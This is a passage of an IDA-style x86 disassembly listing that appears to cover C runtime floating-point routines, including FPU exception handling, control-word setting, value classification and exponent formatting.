; ---------------------------------------------------------------------------

loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C870
		fnstsw	ax
		sahf
		ja	short loc_4213FE
		fchs

loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43C860
		jmp	short loc_421426
; ---------------------------------------------------------------------------

loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43C870
		fchs

loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43C870
		jmp	short loc_42144E
; ---------------------------------------------------------------------------

loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43C860
		fchs

loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C860
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs

loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]

loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]

loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx

loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------

loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------

loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx

loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx

loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx

loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h

loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F

loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]

loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------

loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx

loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx

loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh

loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh

loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx

loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB278, 22h
		retn
; ---------------------------------------------------------------------------

loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB278, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43C788

loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43C860
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43C78C[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3

loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707

loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4

loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------

loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A

loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------

loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax

loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1

loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------

loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h

loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------

loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh

loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43C888
		fistp	[ebp+arg_0]
		wait

loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43C888
		fstp	[ebp+var_8]
		wait
		fstsw	ax

loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43C894
		fstp	[ebp+var_8]
		wait

loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait

loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427890
		fstp	[ebp+var_8]
		fld	dbl_427888
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427718
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 2680DD9h
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26B0373h
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------

loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B

loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43C504, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------

loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF

loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43C508
		mov	al, [esi]
		mov	[esi], cl
		inc	esi

loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43C508
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951

loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945

loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982

loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------

loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax

loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax

loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_43C8B0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB310, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB30C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------

loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h

loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax

loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43C508
		mov	eax, edi
		pop	edi
		mov	[eax], cl

loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB310, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h

loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh

loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl

loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB310, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB314
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB30C
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------

loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h

loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]

loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------

loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax

loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
